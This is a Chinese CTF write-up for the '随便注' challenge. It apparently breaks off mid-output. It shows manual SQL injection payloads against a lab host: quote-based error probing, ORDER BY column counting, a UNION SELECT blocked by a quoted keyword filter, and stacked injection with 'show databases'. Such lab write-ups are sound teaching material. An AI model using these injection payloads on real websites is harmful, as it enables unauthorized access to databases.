题目描述
随便注
解题过程
查看源码,发现应该不适合sqlmap
自动化注入,该题应该是让你手工注入;
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
在表单中加入单引号'
试错,发现SQL
语法错误
http://159.138.137.79:53698/?inject=1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at
这说明为GET型SQL注入漏洞。考虑联合注入;
判断列数
- 采用
order by
http://159.138.137.79:53698/?inject=1' and 1=2 order by 3 --+
- 经判断列数为2
尝试通过联合查询,查询有用信息
http://159.138.137.79:53698/?inject=1' and 1=2 union select database(),user() --+
发现某些关键字被过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这样我们便不能通过联合查询进行注入了。
这时考虑堆叠注入
使用分号结束上一个语句再叠加其他语句一起执行;
查询所有数据库
http://159.138.137.79:53698/?inject=1' and 1=2; show databases;--+
array(1) {
[0]=>
string(11)